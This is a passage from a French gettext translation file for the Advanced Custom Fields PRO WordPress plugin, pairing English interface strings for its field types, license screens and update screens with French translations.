msgid "Sorry, this browser does not support geolocation"
msgstr "Désolé, ce navigateur ne prend pas en charge la géolocalisation"

#: fields/google-map.php:133 fields/relationship.php:725
msgid "Search"
msgstr "Rechercher"

# @ acf
#: fields/google-map.php:134
msgid "Clear location"
msgstr "Effacer la position"

#: fields/google-map.php:135
msgid "Find current location"
msgstr "Trouver l'emplacement actuel"

#: fields/google-map.php:138
msgid "Search for address..."
msgstr "Rechercher une adresse"

#: fields/google-map.php:168 fields/google-map.php:179
msgid "Center"
msgstr "Centre"

#: fields/google-map.php:169 fields/google-map.php:180
msgid "Center the initial map"
msgstr "Position géographique du centre de la carte"

#: fields/google-map.php:193
msgid "Zoom"
msgstr "Zoom"

#: fields/google-map.php:194
msgid "Set the initial zoom level"
msgstr "Définir le niveau de zoom (0 : monde ; 14 : ville ; 21 : rue)"

#: fields/google-map.php:203 fields/image.php:257 fields/image.php:290 fields/oembed.php:275 pro/fields/gallery.php:704
#: pro/fields/gallery.php:737
msgid "Height"
msgstr "Hauteur"

#: fields/google-map.php:204
msgid "Customise the map height"
msgstr "Personnaliser la hauteur de la carte"

# @ acf
#: fields/image.php:36
msgid "Image"
msgstr "Image"

# acf
#: fields/image.php:51
msgid "Select Image"
msgstr "Sélectionner l‘image"

# @ acf
#: fields/image.php:52 pro/fields/gallery.php:54
msgid "Edit Image"
msgstr "Modifier l'image"

# @ acf
#: fields/image.php:53 pro/fields/gallery.php:55
msgid "Update Image"
msgstr "Mettre à jour"

# @ acf
#: fields/image.php:55
msgid "All images"
msgstr "Toutes les images"

# @ acf
#: fields/image.php:144 pro/fields/gallery.php:359 pro/fields/gallery.php:542
msgid "Remove"
msgstr "Enlever"

# @ acf
#: fields/image.php:158
msgid "No image selected"
msgstr "Aucune image sélectionnée"

# @ acf
#: fields/image.php:158
msgid "Add Image"
msgstr "Ajouter une image"

# @ acf
#: fields/image.php:212
msgid "Image Array"
msgstr "Données de l'image (array)"

# @ acf
#: fields/image.php:213
msgid "Image URL"
msgstr "URL de l‘image"

# @ acf
#: fields/image.php:214
msgid "Image ID"
msgstr "ID de l‘image"

# @ acf
#: fields/image.php:221 pro/fields/gallery.php:655
msgid "Preview Size"
msgstr "Taille de prévisualisation"

#: fields/image.php:222 pro/fields/gallery.php:656
msgid "Shown when entering data"
msgstr "Côté interface d'administration"

#: fields/image.php:246 fields/image.php:279 pro/fields/gallery.php:693 pro/fields/gallery.php:726
msgid "Restrict which images can be uploaded"
msgstr "Restreindre les images téléversées"

#: fields/image.php:249 fields/image.php:282 fields/oembed.php:264 pro/fields/gallery.php:696 pro/fields/gallery.php:729
msgid "Width"
msgstr "Largeur"

# @ acf
#: fields/message.php:36 fields/message.php:116 fields/true_false.php:106
msgid "Message"
msgstr "Message"

# @ acf
#: fields/message.php:125 fields/textarea.php:182
msgid "New Lines"
msgstr "Nouvelles lignes"

#: fields/message.php:126 fields/textarea.php:183
msgid "Controls how new lines are rendered"
msgstr "Comment sont interprétés les sauts de lignes"

#: fields/message.php:130 fields/textarea.php:187
msgid "Automatically add paragraphs"
msgstr "Ajouter des paragraphes automatiquement"

#: fields/message.php:131 fields/textarea.php:188
msgid "Automatically add &lt;br&gt;"
msgstr "Ajouter &lt;br&gt; automatiquement"

# @ acf
#: fields/message.php:132 fields/textarea.php:189
msgid "No Formatting"
msgstr "Pas de formatage"

#: fields/message.php:139
msgid "Escape HTML"
msgstr "Autoriser le code HTML"

#: fields/message.php:140
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr "Permettre l'affichage du code HTML à l'écran au lieu de l'interpréter"

#: fields/number.php:36
msgid "Number"
msgstr "Nombre"

#: fields/number.php:186
msgid "Minimum Value"
msgstr "Valeur minimale"

# @ acf
#: fields/number.php:195
msgid "Maximum Value"
msgstr "Valeur maximale"

#: fields/number.php:204
msgid "Step Size"
msgstr "Pas"

#: fields/number.php:242
msgid "Value must be a number"
msgstr "La valeur doit être un nombre"

#: fields/number.php:260
#, php-format
msgid "Value must be equal to or higher than %d"
msgstr "La valeur doit être être supérieure ou égale à %d"

#: fields/number.php:268
#, php-format
msgid "Value must be equal to or lower than %d"
msgstr "La valeur doit être inférieure ou égale à %d"

#: fields/oembed.php:36
msgid "oEmbed"
msgstr "oEmbed"

#: fields/oembed.php:212
msgid "Enter URL"
msgstr "Entrez l'URL"

#: fields/oembed.php:225
msgid "No embed found for the given URL."
msgstr "Aucune instruction d'intégration trouvée à cette adresse."

#: fields/oembed.php:261 fields/oembed.php:272
msgid "Embed Size"
msgstr "Dimensions"

#: fields/page_link.php:197
msgid "Archives"
msgstr "Archives"

#: fields/page_link.php:506 fields/post_object.php:370 fields/relationship.php:692
msgid "Filter by Post Type"
msgstr "Filtrer par type de publication"

#: fields/page_link.php:514 fields/post_object.php:378 fields/relationship.php:700
msgid "All post types"
msgstr "Tous les types de publication"

# @ acf
#: fields/page_link.php:520 fields/post_object.php:384 fields/relationship.php:706
msgid "Filter by Taxonomy"
msgstr "Filtrer par taxonomie"

#: fields/page_link.php:528 fields/post_object.php:392 fields/relationship.php:714
msgid "All taxonomies"
msgstr "Toutes les taxonomies"

# @ acf
#: fields/page_link.php:534 fields/post_object.php:398 fields/radio.php:249 fields/select.php:443 fields/taxonomy.php:767
#: fields/user.php:411
msgid "Allow Null?"
msgstr "Autoriser une valeur vide ?"

# @ acf
#: fields/page_link.php:548 fields/post_object.php:412 fields/select.php:457 fields/user.php:425
msgid "Select multiple values?"
msgstr "Plusieurs valeurs possibles ?"

#: fields/password.php:36
msgid "Password"
msgstr "Mot de passe"

# @ acf
#: fields/post_object.php:36 fields/post_object.php:431 fields/relationship.php:771
msgid "Post Object"
msgstr "Objet 'article'"

# @ acf
#: fields/post_object.php:432 fields/relationship.php:772
msgid "Post ID"
msgstr "ID de l'article"

# @ acf
#: fields/radio.php:36
msgid "Radio Button"
msgstr "Bouton radio"

#: fields/radio.php:263
msgid "Other"
msgstr "Champ \"Autre\""

#: fields/radio.php:267
msgid "Add 'other' choice to allow for custom values"
msgstr "Ajouter 'autre' pour autoriser une valeur personnalisée"

#: fields/radio.php:273
msgid "Save Other"
msgstr "Enregistrer "

#: fields/radio.php:277
msgid "Save 'other' values to the field's choices"
msgstr "Enregistrer 'autre' en tant que choix"

# @ acf
#: fields/relationship.php:36
msgid "Relationship"
msgstr "Relation"

#: fields/relationship.php:48
msgid "Minimum values reached ( {min} values )"
msgstr "Nombre minimum de valeurs atteint ({min} valeurs)"

#: fields/relationship.php:49
msgid "Maximum values reached ( {max} values )"
msgstr "Nombre maximal de valeurs atteint ({max} valeurs)"

#: fields/relationship.php:50
msgid "Loading"
msgstr "Chargement"

#: fields/relationship.php:51
msgid "No matches found"
msgstr "Aucun résultat"

#: fields/relationship.php:573
msgid "Search..."
msgstr "Rechercher"

#: fields/relationship.php:582
msgid "Select post type"
msgstr "Choisissez le type de publication"

# @ acf
#: fields/relationship.php:595
msgid "Select taxonomy"
msgstr "Choisissez la taxonomie"

# @ acf
#: fields/relationship.php:727 fields/taxonomy.php:36 fields/taxonomy.php:737
msgid "Taxonomy"
msgstr "Taxonomie"

#: fields/relationship.php:734
msgid "Elements"
msgstr "Éléments"

#: fields/relationship.php:735
msgid "Selected elements will be displayed in each result"
msgstr "Les éléments sélectionnés seront affichés dans chaque résultat"

# @ acf
#: fields/relationship.php:746
msgid "Minimum posts"
msgstr "Minimum d'articles sélectionnables"

# @ acf
#: fields/relationship.php:755
msgid "Maximum posts"
msgstr "Maximum d'articles sélectionnables"

#: fields/relationship.php:859 pro/fields/gallery.php:831
#, php-format
msgid "%s requires at least %s selection"
msgid_plural "%s requires at least %s selections"
msgstr[0] "%s requiert au moins %s sélection"
msgstr[1] "%s requiert au moins %s sélections"

#: fields/select.php:50
msgctxt "Select2 JS matches_1"
msgid "One result is available, press enter to select it."
msgstr "Un résultat disponible, appuyez sur Entrée pour le sélectionner."

#: fields/select.php:51
#, php-format
msgctxt "Select2 JS matches_n"
msgid "%d results are available, use up and down arrow keys to navigate."
msgstr "%d résultats sont disponibles, utilisez les flèches haut et bas pour naviguer parmi les résultats."

#: fields/select.php:52
msgctxt "Select2 JS matches_0"
msgid "No matches found"
msgstr "Aucun résultat trouvé"

#: fields/select.php:53
msgctxt "Select2 JS input_too_short_1"
msgid "Please enter 1 or more characters"
msgstr "Veuillez saisir au minimum 1 caractère"

#: fields/select.php:54
#, php-format
msgctxt "Select2 JS input_too_short_n"
msgid "Please enter %d or more characters"
msgstr "Veuillez saisir au minimum %d caractères"

#: fields/select.php:55
msgctxt "Select2 JS input_too_long_1"
msgid "Please delete 1 character"
msgstr "Veuillez retirer 1 caractère"

#: fields/select.php:56
#, php-format
msgctxt "Select2 JS input_too_long_n"
msgid "Please delete %d characters"
msgstr "Veuillez retirer %d caractères"

#: fields/select.php:57
msgctxt "Select2 JS selection_too_long_1"
msgid "You can only select 1 item"
msgstr "Vous ne pouvez sélectionner qu’un seul élément"

#: fields/select.php:58
#, php-format
msgctxt "Select2 JS selection_too_long_n"
msgid "You can only select %d items"
msgstr "Vous ne pouvez sélectionner que %d éléments"

#: fields/select.php:59
msgctxt "Select2 JS load_more"
msgid "Loading more results&hellip;"
msgstr "Chargement de résultats supplémentaires&hellip;"

#: fields/select.php:60
msgctxt "Select2 JS searching"
msgid "Searching&hellip;"
msgstr "Recherche en cours&hellip;"

#: fields/select.php:61
msgctxt "Select2 JS load_fail"
msgid "Loading failed"
msgstr "Echec du chargement"

# @ acf
#: fields/select.php:471
msgid "Stylised UI"
msgstr "Interface avancée"

#: fields/select.php:485
msgid "Use AJAX to lazy load choices?"
msgstr "Utiliser AJAX pour charger les choix (lazy load) ?"

#: fields/tab.php:36
msgid "Tab"
msgstr "Onglet"

#: fields/tab.php:97
msgid "The tab field will display incorrectly when added to a Table style repeater field or flexible content field layout"
msgstr ""
"Le champ onglet ne s'affichera pas correctement quand il est ajouté à un champ répéteur en disposition table ou dans un "
"champ à disposition flexible"

#: fields/tab.php:98
msgid "Use \"Tab Fields\" to better organize your edit screen by grouping fields together."
msgstr "Utilisez les \"Onglets\" pour mieux organiser votre écran d'édition de contenu en groupant ensemble les champs."

#: fields/tab.php:99
msgid ""
"All fields following this \"tab field\" (or until another \"tab field\" is defined) will be grouped together using this "
"field's label as the tab heading."
msgstr ""
"Tous les champs listés sous cet \"onglet\"  (ou jusqu'au prochain \"onglet\") apparaitront regroupés sur la page "
"d'édition."

#: fields/tab.php:113
msgid "Placement"
msgstr "Emplacement"

#: fields/tab.php:125
msgid "End-point"
msgstr "Fin de série"

#: fields/tab.php:126
msgid "Use this field as an end-point and start a new group of tabs"
msgstr "Le prochain onglet sera disposé à la ligne"

#: fields/taxonomy.php:706
msgid "None"
msgstr "Aucun"

# @ acf
#: fields/taxonomy.php:738
msgid "Select the taxonomy to be displayed"
msgstr "Choisissez la taxonomie à afficher"

#: fields/taxonomy.php:747
msgid "Appearance"
msgstr "Apparence"

# @ acf
#: fields/taxonomy.php:748
msgid "Select the appearance of this field"
msgstr "Personnaliser l'apparence de champ"

# @ acf
#: fields/taxonomy.php:753
msgid "Multiple Values"
msgstr "Valeurs multiples"

# @ acf
#: fields/taxonomy.php:755
msgid "Multi Select"
msgstr "Sélecteur multiple"

#: fields/taxonomy.php:757
msgid "Single Value"
msgstr "Valeur seule"

# @ acf
#: fields/taxonomy.php:758
msgid "Radio Buttons"
msgstr "Boutons radio"

# @ acf
#: fields/taxonomy.php:781
msgid "Create Terms"
msgstr "Créer des termes"

#: fields/taxonomy.php:782
msgid "Allow new terms to be created whilst editing"
msgstr "Autoriser la création de nouveaux termes pendant l'édition"

#: fields/taxonomy.php:795
msgid "Save Terms"
msgstr "Enregistrer les termes"

#: fields/taxonomy.php:796
msgid "Connect selected terms to the post"
msgstr "Lier les termes sélectionnés à l'article"

#: fields/taxonomy.php:809
msgid "Load Terms"
msgstr "Charger les termes"

#: fields/taxonomy.php:810
msgid "Load value from posts terms"
msgstr "Charger une valeur depuis les termes"

# @ acf
#: fields/taxonomy.php:828
msgid "Term Object"
msgstr "Objet Terme"

#: fields/taxonomy.php:829
msgid "Term ID"
msgstr "ID du terme"

#: fields/taxonomy.php:888
#, php-format
msgid "User unable to add new %s"
msgstr "Utilisateur incapable d'ajouter un nouveau %s"

#: fields/taxonomy.php:901
#, php-format
msgid "%s already exists"
msgstr "%s existe déjà"

#: fields/taxonomy.php:942
#, php-format
msgid "%s added"
msgstr "%s Ajouté"

#: fields/taxonomy.php:976
msgid "Parent"
msgstr "Parent"

# @ acf
#: fields/taxonomy.php:987
msgid "Add"
msgstr "Ajouter"

# @ acf
#: fields/text.php:36
msgid "Text"
msgstr "Texte"

#: fields/text.php:184 fields/textarea.php:163
msgid "Character Limit"
msgstr "Limite de caractères"

#: fields/text.php:185 fields/textarea.php:164
msgid "Leave blank for no limit"
msgstr "Laisser vide pour illimité"

# @ acf
#: fields/textarea.php:36
msgid "Text Area"
msgstr "Zone de texte"

#: fields/textarea.php:172
msgid "Rows"
msgstr "Lignes"

#: fields/textarea.php:173
msgid "Sets the textarea height"
msgstr "Hauteur du champ"

#: fields/time_picker.php:36
msgid "Time Picker"
msgstr "Heure"

# @ acf
#: fields/true_false.php:36
msgid "True / False"
msgstr "Vrai / Faux"

# @ acf
#: fields/true_false.php:107
msgid "eg. Show extra content"
msgstr "ex : Montrer du contenu supplémentaire"

#: fields/url.php:36
msgid "Url"
msgstr "URL"

#: fields/url.php:168
msgid "Value must be a valid URL"
msgstr "La valeur doit être une URL valide"

#: fields/user.php:396
msgid "Filter by role"
msgstr "Filtrer par rôle"

#: fields/user.php:404
msgid "All user roles"
msgstr "Tous les rôles utilisateurs"

# @ acf
#: fields/wysiwyg.php:37
msgid "Wysiwyg Editor"
msgstr "Éditeur WYSIWYG"

#: fields/wysiwyg.php:331
msgid "Visual"
msgstr "Visuel"

# @ acf
#: fields/wysiwyg.php:332
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Texte"

#: fields/wysiwyg.php:388
msgid "Tabs"
msgstr "Onglets"

#: fields/wysiwyg.php:393
msgid "Visual & Text"
msgstr "Visuel & Texte brut"

#: fields/wysiwyg.php:394
msgid "Visual Only"
msgstr "Éditeur visuel seulement"

# @ acf
#: fields/wysiwyg.php:395
msgid "Text Only"
msgstr "Texte brut seulement"

# @ acf
#: fields/wysiwyg.php:402
msgid "Toolbar"
msgstr "Barre d‘outils"

# @ acf
#: fields/wysiwyg.php:412
msgid "Show Media Upload Buttons?"
msgstr "Afficher les boutons d‘ajout de médias ?"

# @ acf
#: forms/comment.php:166 forms/post.php:295 pro/admin/options-page.php:416
msgid "Edit field group"
msgstr "Modifier le groupe de champs"

#: forms/widget.php:235
#, php-format
msgid "1 field requires attention."
msgid_plural "%d fields require attention."
msgstr[0] "1 champ requiert votre attention"
msgstr[1] "%d champs requièrent votre attention"

# @ acf
#. Plugin Name of the plugin/theme
#: pro/acf-pro.php:24
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

# @ acf
#: pro/acf-pro.php:191
msgid "Flexible Content requires at least 1 layout"
msgstr "Le contenu flexible nécessite au moins une disposition"

# @ acf
#: pro/admin/options-page.php:49
msgid "Options Page"
msgstr "Page d‘options"

#: pro/admin/options-page.php:85
msgid "No options pages exist"
msgstr "Aucune page d'option créée"

# @ acf
#: pro/admin/options-page.php:303
msgid "Options Updated"
msgstr "Options mises à jour"

#: pro/admin/options-page.php:309
msgid "Publish"
msgstr "Publier"

# @ default
#: pro/admin/options-page.php:315
msgid "No Custom Field Groups found for this options page. <a href=\"%s\">Create a Custom Field Group</a>"
msgstr "Aucun groupe de champs trouvé pour cette page options. <a href=\"%s\">Créer un groupe de champs</a>"

#: pro/admin/settings-updates.php:125
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b>Erreur</b>. Impossible de joindre le serveur"

#: pro/admin/settings-updates.php:203 pro/admin/settings-updates.php:274
msgid "<b>Connection Error</b>. Sorry, please try again"
msgstr "<b>Erreur de connexion</b>. Merci de réessayer"

#: pro/admin/views/settings-updates.php:11
msgid "Deactivate License"
msgstr "Désactiver la licence"

# @ acf
#: pro/admin/views/settings-updates.php:11
msgid "Activate License"
msgstr "Activer votre licence"

# @ acf
#: pro/admin/views/settings-updates.php:21
msgid "License Information"
msgstr "Informations sur la licence"

#: pro/admin/views/settings-updates.php:24
#, php-format
msgid ""
"To unlock updates, please enter your license key below. If you don't have a licence key, please see <a href=\"%s\" "
"target=\"_blank\">details & pricing</a>."
msgstr ""
"Pour débloquer les mises à jour, veuillez entrer votre clé de licence ci-dessous. Si vous n’en possédez pas encore une, "
"jetez un oeil à nos <a href=\"%s\" target=\"_blank\">détails & tarifs</a>."

# @ acf
#: pro/admin/views/settings-updates.php:33
msgid "License Key"
msgstr "Code de licence"

# @ acf
#: pro/admin/views/settings-updates.php:65
msgid "Update Information"
msgstr "Informations de mise à jour"

#: pro/admin/views/settings-updates.php:72
msgid "Current Version"
msgstr "Version actuelle"

#: pro/admin/views/settings-updates.php:80
msgid "Latest Version"
msgstr "Dernière version"

# @ acf
#: pro/admin/views/settings-updates.php:88
msgid "Update Available"
msgstr "Mise à jour disponible"

# @ acf
#: pro/admin/views/settings-updates.php:96
msgid "Update Plugin"
msgstr "Mettre à jour le plugin"

#: pro/admin/views/settings-updates.php:98
msgid "Please enter your license key above to unlock updates"
msgstr "Entrez votre clé de licence ci-dessous pour activer les mises à jour"

#: pro/admin/views/settings-updates.php:104
msgid "Check Again"
msgstr "Vérifier à nouveau"

# @ wp3i
#: pro/admin/views/settings-updates.php:121
msgid "Upgrade Notice"
msgstr "Améliorations"

# @ acf
#: pro/api/api-options-page.php:22 pro/api/api-options-page.php:23
msgid "Options"
msgstr "Options"

#: pro/core/updates.php:206
#, php-format
msgid ""
"To enable updates, please enter your license key on the <a href=\"%s\">Updates</a> page. If you don't have a licence "
"key, please see <a href=\"%s\">details & pricing</a>."
msgstr ""
"Pour activer les mises à jour, veuillez entrer votre clé de licence sur la page <a href=\"%s\">Mises à jour</a>. Si "
"vous n’en possédez pas encore une, jetez un oeil à nos <a href=\"%s\" target=\"_blank\">détails & tarifs</a>."

# @ acf
#: pro/fields/flexible-content.php:36
msgid "Flexible Content"
msgstr "Contenu flexible"

# @ acf
#: pro/fields/flexible-content.php:42 pro/fields/repeater.php:43
msgid "Add Row"
msgstr "Ajouter un élément"

# @ acf
#: pro/fields/flexible-content.php:45
msgid "layout"
msgstr "Disposition"

# @ acf
#: pro/fields/flexible-content.php:46
msgid "layouts"
msgstr "Dispositions"

#: pro/fields/flexible-content.php:47
msgid "remove {layout}?"
msgstr "retirer {layout} ?"

#: pro/fields/flexible-content.php:48
msgid "This field requires at least {min} {identifier}"
msgstr "Ce champ requiert au moins {min} {identifier}"

#: pro/fields/flexible-content.php:49
msgid "This field has a limit of {max} {identifier}"
msgstr "Ce champ a une limite de {max} {identifier}"

#: pro/fields/flexible-content.php:50
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Ce champ requiert au moins {min} {label} {identifier}"

#: pro/fields/flexible-content.php:51
msgid "Maximum {label} limit reached ({max} {identifier})"
msgstr "Nombre maximal de {label} atteint ({max} {identifier})"

#: pro/fields/flexible-content.php:52
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} disponible (max {max})"

#: pro/fields/flexible-content.php:53
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} required (min {min})"

#: pro/fields/flexible-content.php:216
#, php-format
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Cliquez sur le bouton \"%s\" ci-dessous pour créer votre première disposition"

# @ acf
#: pro/fields/flexible-content.php:346
msgid "Add layout"
msgstr "Disposition"

# @ acf
#: pro/fields/flexible-content.php:349
msgid "Remove layout"
msgstr "Retirer la disposition"

#: pro/fields/flexible-content.php:352 pro/fields/repeater.php:304
msgid "Click to toggle"
msgstr "Cliquer pour intervertir"

# @ acf
#: pro/fields/flexible-content.php:493
msgid "Reorder Layout"
msgstr "Réorganiser la disposition"

#: pro/fields/flexible-content.php:493
msgid "Reorder"
msgstr "Réorganiser"

# @ acf
#: pro/fields/flexible-content.php:494
msgid "Delete Layout"
msgstr "Supprimer la disposition"

#: pro/fields/flexible-content.php:495
msgid "Duplicate Layout"
msgstr "Dupliquer la disposition"

# @ acf
#: pro/fields/flexible-content.php:496
msgid "Add New Layout"
msgstr "Ajouter une disposition"

#: pro/fields/flexible-content.php:550 pro/fields/repeater.php:466
msgid "Table"
msgstr "Tableau"

#: pro/fields/flexible-content.php:551 pro/fields/repeater.php:467
msgid "Block"
msgstr "Bloc"

#: pro/fields/flexible-content.php:552 pro/fields/repeater.php:468
msgid "Row"
msgstr "Rangée"

#: pro/fields/flexible-content.php:567
msgid "Min"
msgstr "Min"

#: pro/fields/flexible-content.php:580
msgid "Max"
msgstr "Max"

#: pro/fields/flexible-content.php:608 pro/fields/repeater.php:475
msgid "Button Label"
msgstr "Intitulé du bouton"

# @ acf
#: pro/fields/flexible-content.php:617
msgid "Minimum Layouts"
msgstr "Nombre minimum de dispositions"

# @ acf
#: pro/fields/flexible-content.php:626
msgid "Maximum Layouts"
msgstr "Nombre maximum de dispositions"

# @ acf
#: pro/fields/gallery.php:36
msgid "Gallery"
msgstr "Galerie"

# @ acf
#: pro/fields/gallery.php:53
msgid "Add Image to Gallery"
msgstr "Ajouter l'image à la galerie"

#: pro/fields/gallery.php:57
msgid "Maximum selection reached"
msgstr "Nombre de sélections maximales atteint"

#: pro/fields/gallery.php:337
msgid "Length"
msgstr "Longueur"

#: pro/fields/gallery.php:380
msgid "Caption"
msgstr "Légende"

#: pro/fields/gallery.php:389
msgid "Alt Text"
msgstr "Texte alternatif"

#: pro/fields/gallery.php:557
msgid "Add to gallery"
msgstr "Ajouter à la galerie"

# @ acf
#: pro/fields/gallery.php:561
msgid "Bulk actions"
msgstr "Actions de groupe"

#: pro/fields/gallery.php:562
msgid "Sort by date uploaded"
msgstr "Ranger par date d'import"

#: pro/fields/gallery.php:563
msgid "Sort by date modified"
msgstr "Ranger par date de modification"

# @ acf
#: pro/fields/gallery.php:564
msgid "Sort by title"
msgstr "Ranger par titre"

#: pro/fields/gallery.php:565
msgid "Reverse current order"
msgstr "Inverser l'ordre actuel"

# @ acf
#: pro/fields/gallery.php:583
msgid "Close"
msgstr "Fermer"

# @ acf
#: pro/fields/gallery.php:637
msgid "Minimum Selection"
msgstr "Minimum d'images"

# @ acf
#: pro/fields/gallery.php:646
msgid "Maximum Selection"
msgstr "Maximum d'images"

#: pro/fields/gallery.php:665
msgid "Insert"
msgstr "Insérer"

#: pro/fields/gallery.php:666
msgid "Specify where new attachments are added"
msgstr "Définir comment les images sont insérées"

#: pro/fields/gallery.php:670
msgid "Append to the end"
msgstr "Insérer à la fin"

#: pro/fields/gallery.php:671
msgid "Prepend to the beginning"
msgstr "Insérer au début"

# @ acf
#: pro/fields/repeater.php:36
msgid "Repeater"
msgstr "Répéteur"

#: pro/fields/repeater.php:47
msgid "Minimum rows reached ({min} rows)"
msgstr "Nombre minimal d'éléments atteint ({min} éléments)"

#: pro/fields/repeater.php:48
msgid "Maximum rows reached ({max} rows)"
msgstr "Nombre maximal d'éléments atteint ({max} éléments)"

# @ acf
#: pro/fields/repeater.php:349
msgid "Add row"
msgstr "Ajouter un élément"

# @ acf
#: pro/fields/repeater.php:350
msgid "Remove row"
msgstr "Retirer l'élément"

# @ acf
#: pro/fields/repeater.php:398
msgid "Sub Fields"
msgstr "Sous champs"

#: pro/fields/repeater.php:428
msgid "Collapsed"
msgstr "Refermé"

#: pro/fields/repeater.php:429
msgid "Select a sub field to show when row is collapsed"
msgstr "Choisir un sous champ à montrer lorsque la ligne est refermée"

# @ acf
#: pro/fields/repeater.php:439
msgid "Minimum Rows"
msgstr "Nombre minimum d'éléments"

# @ acf
#: pro/fields/repeater.php:449
msgid "Maximum Rows"
msgstr "Nombre maximum d'éléments"

#. Plugin URI of the plugin/theme
msgid "https://www.advancedcustomfields.com/"
msgstr "https://www.advancedcustomfields.com/"

#. Description of the plugin/theme
msgid "Customise WordPress with powerful, professional and intuitive fields"
msgstr "Personnaliser WordPress en ajoutant des champs intuitifs, puissants et professionnels"

#. Author of the plugin/theme
msgid "Elliot Condon"
msgstr "Elliot Condon"

#. Author URI of the plugin/theme
msgid "http://www.elliotcondon.com/"
msgstr "http://www.elliotcondon.com/"

# @ acf
#~ msgid "See what's new in"
#~ msgstr "Voir les nouveautés de la"

#~ msgid "version"
#~ msgstr "version"

#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr "<b>Succès</b>. L'utilitaire d'import a ajouté %s groupes de champs : %s"

#~ msgid "<b>Warning</b>. Import tool detected %s field groups already exist and have been ignored: %s"
#~ msgstr "<b>Attention</b>. L'utilitaire d'importe a détécté %s groupes de champs existants qui ont été ignorés : %s"

# @ wp3i
#~ msgid "Upgrade ACF"
#~ msgstr "Mettre à niveau ACF"

# @ wp3i
#~ msgid "Upgrade"
#~ msgstr "Mettre à jour"

#~ msgid "The following sites require a DB upgrade. Check the ones you want to update and then click “Upgrade Database”."
#~ msgstr ""
#~ "Les sites suivants nécessitent une mise à niveau de la base de données. Sélectionnez ceux que vous souhaitez mettre "
#~ "à jour et cliquez sur \"Mise à niveau de la base\"."

#~ msgid "Upgrading data to"
#~ msgstr "Mise à niveau vers"

#~ msgid "Done"
#~ msgstr "Effectué"

#~ msgid "Today"
#~ msgstr "Aujourd'hui"

#~ msgid "Show a different month"
#~ msgstr "Montrer un mois différent"

#~ msgid "To unlock updates, please enter your license key below. If you don't have a licence key, please see"
#~ msgstr "Afin de débloquer les mises à jour, merci d'indiquer votre code de licence ci-dessous"

#~ msgid "details & pricing"
#~ msgstr "Détails & tarifs"

#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s\">Updates</a> page. If you don't have a licence "
#~ "key, please see <a href=\"%s\">details & pricing</a>"
#~ msgstr ""
#~ "Pour activer les mises à jour, merci d'indiquer votre code de licence sur la page <a href=\"%s\">Mises à jour</a>. "
#~ "Si vous n'en possédez pas, consultez la page <a href=\"%s\">détails & tarifs</a>"

#~ msgid "http://www.advancedcustomfields.com/"
#~ msgstr "http://www.advancedcustomfields.com/"

# @ acf
#~ msgid "Return format"
#~ msgstr "Format sur le site"

#~ msgid "uploaded to this post"
#~ msgstr "Liés à l'article"

# @ acf
#~ msgid "File Size"
#~ msgstr "Taille du fichier"

# @ acf
#~ msgid "No File selected"
#~ msgstr "Aucun fichier sélectionné"

#~ msgid "License"
#~ msgstr "Licence"

#~ msgid "Advanced Custom Fields Pro"
#~ msgstr "Advanced Custom Fields Pro"

#~ msgid "Drag and drop to reorder"
#~ msgstr "Faites glisser pour réorganiser"

#~ msgid "Please note that all text will first be passed through the wp function "
#~ msgstr "Le texte sera traité par la fonction "

#~ msgid "Warning"
#~ msgstr "Attention"

# @ acf
#~ msgid "Add new %s "
#~ msgstr "Nouveau %s"

# @ acf
#~ msgid "Save Options"
#~ msgstr "Enregistrer les options"

# @ acf
#~ msgid "Display"
#~ msgstr "Format d'affichage"

#~ msgid "Hide / Show All"
#~ msgstr "Afficher / Cacher tout"

# @ acf
#~ msgid "Show Field Keys"
#~ msgstr "Montrer l'identifiant des champs"

#~ msgid "Import / Export"
#~ msgstr "Importer / Exporter"

# @ acf
#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr "Les groupes de champs sont créés dans l'ordre du plus bas vers le plus haut"

#~ msgid "Upgrading data to "
#~ msgstr "Migration des données vers"

#~ msgid "Sync Terms"
#~ msgstr "Synchronisation des termes"

# @ default
#~ msgid "title_is_required"
#~ msgstr "title_is_required"

#~ msgid "move_to_trash"
#~ msgstr "move_to_trash"

# @ acf
#~ msgid "move_field_warning"
#~ msgstr "move_field_warning"

# @ acf
#~ msgid "move_field"
#~ msgstr "move_field"

#~ msgid "field_name_start"
#~ msgstr "field_name_start"

#~ msgid "null"
#~ msgstr "null"

#~ msgid "hide_show_all"
#~ msgstr "hide_show_all"

#~ msgid "unload"
#~ msgstr "unload"

#~ msgid "file"
#~ msgstr "file"

# @ acf
#~ msgid "image"
#~ msgstr "image"

#~ msgid "expand_details"
#~ msgstr "expand_details"

#~ msgid "collapse_details"
#~ msgstr "collapse_details"

# @ acf
#~ msgid "relationship"
#~ msgstr "Relationrelationship"

#~ msgid "validation_successful"
#~ msgstr "validation_successful"

#~ msgid "validation_failed"
#~ msgstr "validation_failed"

#~ msgid "validation_failed_1"
#~ msgstr "validation_failed_1"

#~ msgid "validation_failed_2"
#~ msgstr "validation_failed_2"

# @ acf
#~ msgid "flexible_content"
#~ msgstr "flexible_content"

# @ acf
#~ msgid "repeater"
#~ msgstr "repeater"

# @ acf
#~ msgid "gallery"
#~ msgstr "gallery"

#~ msgid "Pending Review"
#~ msgstr "En attente de relecture"

#~ msgid "Draft"
#~ msgstr "Brouillon"

#~ msgid "Future"
#~ msgstr "A paraitre"

#~ msgid "Private"
#~ msgstr "Privé"

#~ msgid "Revision"
#~ msgstr "Révisions"

#~ msgid "Trash"
#~ msgstr "Corbeille"

# @ acf
#~ msgid "ACF PRO Required"
#~ msgstr "ACF PRO est nécessaire"

#~ msgid ""
#~ "We have detected an issue which requires your attention: This website makes use of premium add-ons (%s) which are no "
#~ "longer compatible with ACF."
#~ msgstr ""
#~ "Votre attention s'il vous plait : Ce site utilise les add-ons premium (%s) qui ne sont plus compatibles avec ACF."

#~ msgid "Don't panic, you can simply roll back the plugin and continue using ACF as you know it!"
#~ msgstr ""
#~ "Pas de panique ! Vous pouvez simplement revenir à la version antérieure et continuer à utiliser ACF comme "
#~ "d'habitude !"

